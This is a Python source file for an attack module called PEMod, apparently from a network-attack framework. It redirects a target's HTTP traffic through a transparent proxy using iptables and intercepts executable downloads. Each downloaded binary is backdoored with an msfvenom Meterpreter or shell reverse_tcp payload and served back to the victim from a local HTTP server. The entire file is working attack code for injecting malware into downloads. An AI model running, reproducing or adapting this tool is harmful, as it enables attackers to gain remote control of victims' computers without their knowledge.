from attack import Attack
from libmproxy import controller, proxy, platform
from zoption import Zoption
from threading import Thread
from subprocess import Popen, PIPE, STDOUT
from sys import stdout
from copy import copy
from colors import color
import re
import config
import urllib2
import util


class pemod(Attack):
    def __init__(self):
        super(pemod, self).__init__('PEMod')
        self.iptable_rule = "iptables -t nat -A PREROUTING -p tcp --dport 80 "\
                                    "-s {0} -j REDIRECT --to-port 5544"
        self.proxy_server = None
        self.hooker = None
        self.http_server = None
        self.config.update({"target":Zoption(type="ip",
                                            value=None,
                                            required=True,
                                            display="Target to hijack"),
                            "match":Zoption(type="regex",
                                            value=None,
                                            required=False,
                                            display="Regex for matching specific files"),
                            "pretarget":Zoption(type="list",
                                            value=None,
                                            required=False,
                                            display="List of executables to "\
                                                    "prebackdoor.  Full URLs required"),
                            "payload":Zoption(type='int',
                                              value=1,
                                              required=False,
                                              opts=['windows/meterpreter/reverse_tcp',
                                                    'windows/shell/reverse_tcp'],
                                              display="Payload to inject into binary."),
                            "LPORT":Zoption(type="int",
                                            value=5566,
                                            required=False,
                                            display="Port for reverse TCP connection")
                         })
        self.info = """
                    PEMod is a binary modifier capable of modifying unpacked executables
                    on the fly.  Because of its dependence on msfvenom, only unpacked
                    binaries are currently backdoorable.  Refer to the wiki for more
                    information.

                    The pretargeting option allows you to preinject payloads to
                    remove all delay from the victim.  Before the module runs
                    the executables are downloaded and backdoored.

                    Each payload is generated by msfpayload:
                            [*] windows/shell/reverse_tcp
                                Reverse TCP shell; should be used with tiny binaries
                            [*] windows/meterpreter/reverse_tcp
                                Creme de la creme; use this if you've got room
                    """

    def modip_rule(self, enable=True):
        """ Send hooked TCP traffic to the libmproxy listener
        """
        if enable:
            util.init_app(self.iptable_rule.format
                        (self.config['target'].value))
        else:
            util.init_app(self.iptable_rule.replace('-A', '-D').format
                        (self.config['target'].value))

    def fetch_and_backdoor(self, url):
        """ Fetch the binary located at 'url' and backdoor
            it with a reverse tcp meterpreter

            True if backdoor is successful
            False if it fails for whatever reason
        """
        try:
            bd_filename = url.split('/')[-1]
            data = urllib2.urlopen(url, timeout=5)
            # stream the data to a file in chunks
            CHUNK = 16 * 1024
            with open('/tmp/.pe/%s' % bd_filename, 'wb') as f:
                for chunk in iter(lambda: data.read(CHUNK), ''):
                    if not chunk:
                        break
                    f.write(chunk)

            # msfvenom it
            util.init_app('msfvenom -p %s -f exe -e x86/shikata_ga_nai '
                          '-i 2 -k -x /tmp/.pe/%s LHOST=%s LPORT=%d > /tmp/.pe/_%s' \
                          % (self.config['payload'].opts[self.config['payload'].value-1],
                          bd_filename, config.get('ip_addr'), self.config['LPORT'].value,
                          bd_filename))
            util.init_app('mv /tmp/.pe/_%s /tmp/.pe/%s' % (bd_filename, bd_filename))

            return True
        except Exception, e:
            util.Error(e)
            return False

    def initialize(self):
        if not util.check_program('msfvenom'):
            util.Error('msvenom not found.')
            return False

        # create our temporary dir
        util.init_app('mkdir /tmp/.pe/')
        self.modip_rule()
        self.running = True

        util.Msg('Configuring PEmod proxy...')
        # configure HTTP proxy
        config = proxy.ProxyConfig(transparent_proxy=dict(
                                    resolver = platform.resolver(),
                                    sslports = [443])
                                  )

        # check if we're pretargeting
        if self.config['pretarget'].value is not None:
            for (idx, target) in enumerate(self.config['pretarget'].value):
                bd_filename = target.split('/')[-1]
                stdout.write('\r%s[!] Fetching and backdooring %s...[%d/%d]%s' %
                      (color.YELLOW, bd_filename, idx + 1,
                      len(self.config['pretarget'].value), color.END))
                stdout.flush()
                if not self.fetch_and_backdoor(target):
                    util.Error('Failed to backdoor %s' % bd_filename)
            print '\n'

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, copy(self.config), self.fetch_and_backdoor)

        util.Msg('Spinning up an HTTP server on port 8000...')
        self.http_server = Popen(['python', '-m', 'SimpleHTTPServer'], cwd='/tmp/.pe/',
                                    stderr=STDOUT, stdout=PIPE)
        thread = Thread(target=self.hooker.run)
        thread.start()

        return True

    def shutdown(self):
        """ Kill the local HTTP server, remove the iptable rules,
            and shut down the proxy.
        """
        util.Msg("Shutting PEMod down...")
        if not util.kill_app(self.http_server):
            util.Error('Failed to kill HTTP server!')

        self.modip_rule(False)
        self.proxy_server.shutdown()
        self.hooker.shutdown()

        # delete all the backdoored binaries
        util.init_app('rm -fr /tmp/.pe/')

    def session_view(self):
        """ Return the host we're modifying
        """
        return self.config['target'].value


class Hooker(controller.Master):
    """ Request handler for libmproxy; here we listen for HTTP GET
        requests that contain an EXE request.  If discovered,
        we check if the name matches one we're looking for, or if all,
        we automatically hold the request, download it ourselves,
        backdoor it, then send the request to ourselves.
    """
    def __init__(self, server, _config, fetch_and_backdoor):
        controller.Master.__init__(self, server)
        self._config = _config
        self.fetch_and_backdoor = fetch_and_backdoor

    def run(self):
        try:
            return controller.Master.run(self)
        except:
            self.shutdown()

    def handle_request(self, msg):
        """ Handle the HTTP requests.  There are a couple states
            we need to check for: whether we're pretargeting, whether
            we're targeting specific binaries, and the rest.
        """
        fail = False
        tmp = msg.get_url(hostheader=True)
        if tmp[-3:] == 'exe':
            bd_filename = tmp.split('/')[-1]
            # check if we're using a regex
            if self._config['match'].value is not None:
                match = re.search(self._config['match'].value, bd_filename)
                if match:
                    # we have a match
                    if not self.fetch_and_backdoor(tmp):
                        util.Error('Failed to download/backdoor %s' % bd_filename)
                        fail = True
                else:
                    fail = True

            else:
                # check if we've already backdoored this
                if not self._config['pretarget'].value is None:
                    if not tmp in self._config['pretarget'].value:
                        # we haven't, perform the backdooring
                        if not self.fetch_and_backdoor(tmp):
                            util.Error('Failed to download/backdoor %s' % bd_filename)
                            fail = True
                else:
                    if not self.fetch_and_backdoor(tmp):
                        util.Error('Failed to download/backdoor %s' % bd_filename)
                        fail = True

            if not fail:
                msg.set_url('http://%s:8000/%s' % (config.get('ip_addr'), bd_filename))
                msg.port = 8000
                msg.headers['Host'] = ['%s' % config.get('ip_addr')]
        msg.reply()
